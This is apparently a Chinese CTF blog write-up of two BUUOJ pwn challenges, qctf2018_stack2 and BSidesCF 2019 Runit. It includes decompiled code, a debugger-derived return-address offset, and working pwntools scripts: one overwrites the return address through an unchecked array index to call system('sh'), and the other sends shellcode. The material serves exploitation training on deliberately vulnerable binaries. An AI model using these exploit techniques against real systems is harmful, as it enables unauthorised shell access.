本文最后更新于220 天前,其中的信息可能已经过时,如有错误请发送邮件到506742773@qq.com
1、qctf2018_stack2分析


32位开了NX和Canary,运行一下

很有趣的一个程序,计算平均值,输入的暂且是数字
ida里看到有system,还有/bin/bash,应该是用sh来getshell吧,后面找一下sh的地址就行
不直接的后门

main函数
int __cdecl main(int argc, const char **argv, const char **envp)
{
int v3; // eax@18
unsigned int v5; // [sp+18h] [bp-90h]@1
unsigned int v6; // [sp+1Ch] [bp-8Ch]@6
int v7; // [sp+20h] [bp-88h]@2
unsigned int j; // [sp+24h] [bp-84h]@5
int v9; // [sp+28h] [bp-80h]@1
unsigned int i; // [sp+2Ch] [bp-7Ch]@1
unsigned int k; // [sp+30h] [bp-78h]@13
unsigned int l; // [sp+34h] [bp-74h]@20
char v13[100]; // [sp+38h] [bp-70h]@2
int v14; // [sp+9Ch] [bp-Ch]@1
v14 = *MK_FP(__GS__, 20);//canary
setvbuf(stdin, 0, 2, 0);
setvbuf(stdout, 0, 2, 0);
v9 = 0;
puts("***********************************************************");
puts("* An easy calc *");
puts("*Give me your numbers and I will return to you an average *");
puts("*(0 <= x < 256) *");
puts("***********************************************************");
puts("How many numbers you have:");
__isoc99_scanf("%d", &v5);
puts("Give me your numbers");
for ( i = 0; i < v5 && (signed int)i <= 99; ++i )
{
__isoc99_scanf("%d", &v7);
v13[i] = v7;
}
for ( j = v5; ; printf("average is %.2lf\n", (double)((long double)v9 / (double)j), j) )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
puts("1. show numbers\n2. add number\n3. change number\n4. get average\n5. exit");
__isoc99_scanf("%d", &v6);
if ( v6 != 2 )
break;
puts("Give me your number");
__isoc99_scanf("%d", &v7);
if ( j <= 0x63 )
{
v3 = j++;
v13[v3] = v7;
}
}
if ( v6 > 2 )
break;
if ( v6 != 1 )
return 0;
puts("id\t\tnumber");
for ( k = 0; k < j; ++k )
printf("%d\t\t%d\n", k, v13[k]);
}
if ( v6 != 3 )
break;
puts("which number to change:");
__isoc99_scanf("%d", &v5);//这里本来是要写需要修改的数字编号
puts("new number:");
__isoc99_scanf("%d", &v7);
v13[v5] = v7;//可以发现v5可能造成越界,并没有对v5进行限制
}
if ( v6 != 4 )
break;
v9 = 0;
for ( l = 0; l < j; ++l )
v9 += v13[l];
}
return 0;
}
我们看一下v5和v13在什么位置

v5是在var_90,v7是var_80,还有数组var_13是var_70,所以我们还是要在栈上下功夫,最后的目的是劫持函数的返回地址,那我们需要计算v13的首地址到返回函数的偏移,跟着佬调试一下,不一定能成。我们看看让我们输入v7附近的汇编代码
.text:08048688 push offset aD ; "%d"
.text:0804868D call ___isoc99_scanf
.text:08048692 add esp, 10h
.text:08048695 sub esp, 0Ch
.text:08048698 push offset aGiveMeYourNu_0 ; "Give me your numbers"
.text:0804869D call _puts
.text:080486A2 add esp, 10h
.text:080486A5 mov [ebp+var_7C], 0
.text:080486AC jmp short loc_80486DB
.text:080486AE ; ---------------------------------------------------------------------------
.text:080486AE
.text:080486AE loc_80486AE: ; CODE XREF: main+11Cj
.text:080486AE sub esp, 8
.text:080486B1 lea eax, [ebp+var_88]
.text:080486B7 push eax
.text:080486B8 push offset aD ; "%d"
.text:080486BD call ___isoc99_scanf
.text:080486C2 add esp, 10h
.text:080486C5 mov eax, [ebp+var_88]
.text:080486CB mov ecx, eax
.text:080486CD lea edx, [ebp+var_70]
.text:080486D0 mov eax, [ebp+var_7C]
.text:080486D3 add eax, edx
.text:080486D5 mov [eax], cl
.text:080486D7 add [ebp+var_7C], 1
.text:080486DB
.text:080486DB loc_80486DB: ; CODE XREF: main+DCj
.text:080486DB mov edx, [ebp+var_7C]
.text:080486DE mov eax, [ebp+var_90]
.text:080486E4 cmp edx, eax
.text:080486E6 jnb short loc_80486EE
.text:080486E8 cmp [ebp+var_7C], 63h
.text:080486EC jle short loc_80486AE
.text:080486EE
.text:080486EE loc_80486EE: ; CODE XREF: main+116j
.text:080486EE mov eax, [ebp+var_90]
.text:080486F4 mov [ebp+var_84], eax
.text:080486FA
.text:080486FA loc_80486FA: ; CODE XREF: main:loc_80488E1j
.text:080486FA sub esp, 0Ch
很重要的线索是.text:080486CD lea edx, [ebp+var_70]
.text:080488F2 retn
就是v13的首地址放在edx中,那在这里下1个断点,看看edx,在return也下一个断点

edx是0xf7fc14c0接下来是return的地址


esp=0xffffd65c
呃,不对,第一个断点重新下,看一看edx的变化
断在.text:080486D5 mov [eax], cl

edx=0xffffd5d8
输入5执行到ret

这就舒服了嘛
esp=0xffffd65c

偏移就是0x84,现在/bin/bash不能直接使用,我们找找sh

sh=0x08048987
接下来就是这道题特殊的地方,虽然是个栈溢出,但是覆盖的方式是利用3去搞,还要注意是小端序,我们要写的地址是0x804859B和0x8048987,试一试吧
2、qctf2018_stack2实操
from pwn import *
context.log_level="debug"
p=remote("node5.buuoj.cn",25481)
def attack(offset,addr):
p.sendlineafter("5. exit\n",str(3))
p.sendlineafter("which number to change:\n",str(offset))
p.sendlineafter("new number:\n",str(addr))
def start():
p.sendlineafter("How many numbers you have:\n",str(1))
p.sendlineafter("Give me your numbers\n",str(1))
backdoor=0x804859B
system_plt=0x8048450
sh=0x8048987
offset=0x84
start()
attack(offset,0x9b)
attack(offset+1,0x85)
attack(offset+2,0x04)
attack(offset+3,0x08)
attack(offset+8,0x87)
attack(offset+9,0x89)
attack(offset+10,0x04)
attack(offset+11,0x08)
p.sendlineafter("5. exit\n",str(5))
p.interactive()

ok,孩子们,终于看到falg了……
3、[BSidesCF 2019]Runit 1分析


有一个输入,32位开了NX,打开iida看看

main函数代码,比较简单buf其实是申请的内存的地址,所以我们只需要写入shellcode,最后就会被调用,因为程序最后会指向buf
4、Runit 1实操
from pwn import *
context(arch="i386",log_level="debug")
p=remote("node5.buuoj.cn",28604)
shellcode=asm(shellcraft.sh())
p.recvuntil("Send me stuff!!\n")
p.sendline(shellcode)
p.interactive()











